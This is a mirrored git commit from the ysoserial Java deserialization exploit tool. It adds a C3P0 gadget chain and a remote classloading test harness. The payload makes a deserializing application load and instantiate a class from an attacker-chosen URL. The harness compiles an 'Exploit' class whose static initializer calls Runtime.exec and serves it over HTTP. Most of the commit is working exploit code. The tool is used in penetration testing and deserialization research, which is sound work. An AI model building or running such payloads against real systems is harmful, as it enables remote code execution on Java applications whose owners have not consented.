mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-26 00:41:52 +08:00
Add C3P0 gadget chain.
Add remote classloading test harness.
This commit is contained in:
@@ -74,6 +74,13 @@
|
|||||||
<version>1.8.0</version>
|
<version>1.8.0</version>
|
||||||
<scope>test</scope>
|
<scope>test</scope>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.nanohttpd</groupId>
|
||||||
|
<artifactId>nanohttpd</artifactId>
|
||||||
|
<version>2.2.0</version>
|
||||||
|
<scope>test</scope>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
|
||||||
<!-- non-gadget dependencies -->
|
<!-- non-gadget dependencies -->
|
||||||
|
|
||||||
@@ -157,6 +164,11 @@
|
|||||||
<artifactId>commons-fileupload</artifactId>
|
<artifactId>commons-fileupload</artifactId>
|
||||||
<version>1.3</version>
|
<version>1.3</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>com.mchange</groupId>
|
||||||
|
<artifactId>c3p0</artifactId>
|
||||||
|
<version>0.9.5.2</version>
|
||||||
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
<profiles>
|
<profiles>
|
||||||
|
|||||||
@@ -0,0 +1,93 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
import java.sql.SQLException;
|
||||||
|
import java.sql.SQLFeatureNotSupportedException;
|
||||||
|
import java.util.logging.Logger;
|
||||||
|
|
||||||
|
import javax.naming.NamingException;
|
||||||
|
import javax.naming.Reference;
|
||||||
|
import javax.naming.Referenceable;
|
||||||
|
import javax.sql.ConnectionPoolDataSource;
|
||||||
|
import javax.sql.PooledConnection;
|
||||||
|
|
||||||
|
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||||
|
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||||
|
|
||||||
|
import ysoserial.PayloadTest;
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
*
|
||||||
|
*
|
||||||
|
* com.sun.jndi.rmi.registry.RegistryContext->lookup
|
||||||
|
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
|
||||||
|
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
|
||||||
|
*
|
||||||
|
* Arguments:
|
||||||
|
* - base_url:classname
|
||||||
|
*
|
||||||
|
* Yields:
|
||||||
|
* - Instantiation of remotely loaded class
|
||||||
|
*
|
||||||
|
* @author mbechler
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
@PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" )
|
||||||
|
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
|
||||||
|
public class C3P0 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject ( String command ) throws Exception {
|
||||||
|
int sep = command.lastIndexOf(':');
|
||||||
|
if ( sep < 0 ) {
|
||||||
|
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||||
|
}
|
||||||
|
|
||||||
|
String url = command.substring(0, sep);
|
||||||
|
String className = command.substring(sep + 1);
|
||||||
|
|
||||||
|
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||||
|
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
||||||
|
return b;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||||
|
|
||||||
|
private String className;
|
||||||
|
private String url;
|
||||||
|
/**
|
||||||
|
* @param className
|
||||||
|
* @param url
|
||||||
|
*/
|
||||||
|
public PoolSource ( String className, String url ) {
|
||||||
|
this.className = className;
|
||||||
|
this.url = url;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Reference getReference () throws NamingException {
|
||||||
|
return new Reference("exploit", this.className, this.url);
|
||||||
|
}
|
||||||
|
|
||||||
|
public PrintWriter getLogWriter () throws SQLException {return null;}
|
||||||
|
public void setLogWriter ( PrintWriter out ) throws SQLException {}
|
||||||
|
public void setLoginTimeout ( int seconds ) throws SQLException {}
|
||||||
|
public int getLoginTimeout () throws SQLException {return 0;}
|
||||||
|
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
|
||||||
|
public PooledConnection getPooledConnection () throws SQLException {return null;}
|
||||||
|
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void main ( final String[] args ) throws Exception {
|
||||||
|
PayloadRunner.run(C3P0.class, args);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
/**
|
||||||
|
* © 2016 AgNO3 Gmbh & Co. KG
|
||||||
|
* All right reserved.
|
||||||
|
*
|
||||||
|
* Created: 05.03.2016 by mbechler
|
||||||
|
*/
|
||||||
|
package ysoserial;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author mbechler
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
public interface CustomPayloadArgs {
|
||||||
|
|
||||||
|
|
||||||
|
String getPayloadArgs ();
|
||||||
|
|
||||||
|
}
|
||||||
@@ -6,9 +6,7 @@ import java.util.concurrent.Callable;
|
|||||||
* @author mbechler
|
* @author mbechler
|
||||||
*
|
*
|
||||||
*/
|
*/
|
||||||
public interface CustomTest {
|
public interface CustomTest extends CustomPayloadArgs {
|
||||||
|
|
||||||
void run (Callable<Object> payload) throws Exception;
|
void run (Callable<Object> payload) throws Exception;
|
||||||
|
|
||||||
String getPayloadArgs ();
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,8 +6,8 @@ import java.util.concurrent.Callable;
|
|||||||
* @author mbechler
|
* @author mbechler
|
||||||
*
|
*
|
||||||
*/
|
*/
|
||||||
public interface WrappedTest {
|
public interface WrappedTest extends CustomPayloadArgs {
|
||||||
|
|
||||||
Callable<Object> createCallable ( Callable<Object> innerCallable );
|
Callable<Object> createCallable ( Callable<Object> innerCallable );
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -23,6 +23,7 @@ import org.junit.runner.RunWith;
|
|||||||
import org.junit.runners.Parameterized;
|
import org.junit.runners.Parameterized;
|
||||||
import org.junit.runners.Parameterized.Parameters;
|
import org.junit.runners.Parameterized.Parameters;
|
||||||
|
|
||||||
|
import ysoserial.CustomPayloadArgs;
|
||||||
import ysoserial.CustomTest;
|
import ysoserial.CustomTest;
|
||||||
import ysoserial.Deserializer;
|
import ysoserial.Deserializer;
|
||||||
import ysoserial.PayloadTest;
|
import ysoserial.PayloadTest;
|
||||||
@@ -91,17 +92,23 @@ public class PayloadsTest {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
String payloadCommand = command;
|
||||||
Object wrapper = null;
|
Object wrapper = null;
|
||||||
if ( t != null && !t.harness().isEmpty() ) {
|
if ( t != null && !t.harness().isEmpty() ) {
|
||||||
wrapper = Class.forName(t.harness()).newInstance();
|
Class<?> wrapperClass = Class.forName(t.harness());
|
||||||
|
try {
|
||||||
|
wrapper = wrapperClass.getConstructor(String.class).newInstance(command);
|
||||||
|
} catch ( NoSuchMethodException e ) {
|
||||||
|
wrapper = wrapperClass.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
if ( wrapper instanceof CustomTest ) {
|
if ( wrapper instanceof CustomPayloadArgs ) {
|
||||||
command = ( (CustomTest) wrapper ).getPayloadArgs();
|
payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
|
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
|
||||||
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command));
|
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, payloadCommand));
|
||||||
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized);
|
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized);
|
||||||
if ( wrapper instanceof WrappedTest ) {
|
if ( wrapper instanceof WrappedTest ) {
|
||||||
callable = ( (WrappedTest) wrapper ).createCallable(callable);
|
callable = ( (WrappedTest) wrapper ).createCallable(callable);
|
||||||
@@ -119,9 +126,13 @@ public class PayloadsTest {
|
|||||||
catch ( Throwable e ) {
|
catch ( Throwable e ) {
|
||||||
// hopefully everything will reliably nest our ExecException
|
// hopefully everything will reliably nest our ExecException
|
||||||
Throwable innerEx = Throwables.getInnermostCause(e);
|
Throwable innerEx = Throwables.getInnermostCause(e);
|
||||||
|
if ( ! ( innerEx instanceof ExecException ) ) {
|
||||||
|
innerEx.printStackTrace();
|
||||||
|
}
|
||||||
Assert.assertEquals(ExecException.class, innerEx.getClass());
|
Assert.assertEquals(ExecException.class, innerEx.getClass());
|
||||||
Assert.assertEquals(command, ( (ExecException) innerEx ).getCmd());
|
Assert.assertEquals(command, ( (ExecException) innerEx ).getCmd());
|
||||||
}
|
}
|
||||||
|
|
||||||
Assert.assertEquals(Arrays.asList(command), sm.getCmds());
|
Assert.assertEquals(Arrays.asList(command), sm.getCmds());
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -171,11 +182,11 @@ public class PayloadsTest {
|
|||||||
/**
|
/**
|
||||||
* @param payloadClass
|
* @param payloadClass
|
||||||
* @return
|
* @return
|
||||||
* @throws SecurityException
|
* @throws SecurityException
|
||||||
* @throws NoSuchMethodException
|
* @throws NoSuchMethodException
|
||||||
* @throws InvocationTargetException
|
* @throws InvocationTargetException
|
||||||
* @throws IllegalArgumentException
|
* @throws IllegalArgumentException
|
||||||
* @throws IllegalAccessException
|
* @throws IllegalAccessException
|
||||||
*/
|
*/
|
||||||
private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) throws Exception {
|
private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) throws Exception {
|
||||||
String[] baseDeps;
|
String[] baseDeps;
|
||||||
|
|||||||
@@ -0,0 +1,143 @@
|
|||||||
|
/**
|
||||||
|
* © 2016 AgNO3 Gmbh & Co. KG
|
||||||
|
* All right reserved.
|
||||||
|
*
|
||||||
|
* Created: 05.03.2016 by mbechler
|
||||||
|
*/
|
||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.util.Random;
|
||||||
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
|
import fi.iki.elonen.NanoHTTPD;
|
||||||
|
import fi.iki.elonen.NanoHTTPD.Response.Status;
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import ysoserial.WrappedTest;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author mbechler
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
public class RemoteClassLoadingTest implements WrappedTest {
|
||||||
|
|
||||||
|
private int port;
|
||||||
|
private String command;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
public RemoteClassLoadingTest ( String command ) {
|
||||||
|
this.command = command;
|
||||||
|
this.port = new Random().nextInt(65535-1024)+1024;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*
|
||||||
|
* @see ysoserial.WrappedTest#getPayloadArgs()
|
||||||
|
*/
|
||||||
|
public String getPayloadArgs () {
|
||||||
|
return String.format("http://localhost:%d/", this.port) + ":Exploit";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*
|
||||||
|
* @see ysoserial.WrappedTest#createCallable(java.util.concurrent.Callable)
|
||||||
|
*/
|
||||||
|
public Callable<Object> createCallable ( Callable<Object> innerCallable ) {
|
||||||
|
return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private byte[] makePayloadClass () {
|
||||||
|
try {
|
||||||
|
ClassPool pool = ClassPool.getDefault();
|
||||||
|
pool.insertClassPath(new ClassClassPath(Exploit.class));
|
||||||
|
final CtClass clazz = pool.get(Exploit.class.getName());
|
||||||
|
clazz.setName("Exploit");
|
||||||
|
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");");
|
||||||
|
return clazz.toBytecode();
|
||||||
|
}
|
||||||
|
catch ( Exception e ) {
|
||||||
|
e.printStackTrace();
|
||||||
|
return new byte[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static final class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable<Object> {
|
||||||
|
|
||||||
|
private Callable<Object> innerCallable;
|
||||||
|
private byte[] data;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param innerCallable
|
||||||
|
*/
|
||||||
|
public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable<Object> innerCallable ) {
|
||||||
|
super(port);
|
||||||
|
this.data = data;
|
||||||
|
this.innerCallable = innerCallable;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*
|
||||||
|
* @see java.util.concurrent.Callable#call()
|
||||||
|
*/
|
||||||
|
public Object call () throws Exception {
|
||||||
|
try {
|
||||||
|
setup();
|
||||||
|
return this.innerCallable.call();
|
||||||
|
}
|
||||||
|
finally {
|
||||||
|
cleanup();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @throws IOException
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
private void setup () throws IOException {
|
||||||
|
start(NanoHTTPD.SOCKET_READ_TIMEOUT, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
private void cleanup () {
|
||||||
|
stop();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*
|
||||||
|
* @see fi.iki.elonen.NanoHTTPD#serve(fi.iki.elonen.NanoHTTPD.IHTTPSession)
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
public Response serve ( IHTTPSession sess ) {
|
||||||
|
return newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private static class Exploit {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user